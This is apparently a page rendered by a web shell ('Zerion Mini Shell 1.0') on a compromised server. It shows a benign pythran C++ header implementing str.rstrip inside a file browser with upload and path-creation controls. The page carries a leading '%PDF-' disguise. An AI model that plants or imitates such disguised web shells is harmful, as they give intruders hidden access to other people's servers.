%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/lib/python3/dist-packages/pythran/pythonic/builtins/str/
Upload File :
Create Path :
Current File : //proc/thread-self/root/lib/python3/dist-packages/pythran/pythonic/builtins/str/rstrip.hpp

#ifndef PYTHONIC_BUILTIN_STR_RSTRIP_HPP
#define PYTHONIC_BUILTIN_STR_RSTRIP_HPP

#include "pythonic/include/builtins/str/rstrip.hpp"

#include "pythonic/types/str.hpp"
#include "pythonic/utils/functor.hpp"

PYTHONIC_NS_BEGIN

namespace builtins
{

  namespace str
  {

    types::str rstrip(types::str const &self, types::str const &to_del)
    {
      auto chars = self.chars();
      auto stop = self.find_last_not_of(to_del);
      if (stop < 0)
        return {};
      return {chars.begin(), chars.begin() + stop + 1};
    }
  }
}
PYTHONIC_NS_END
#endif

Zerion Mini Shell 1.0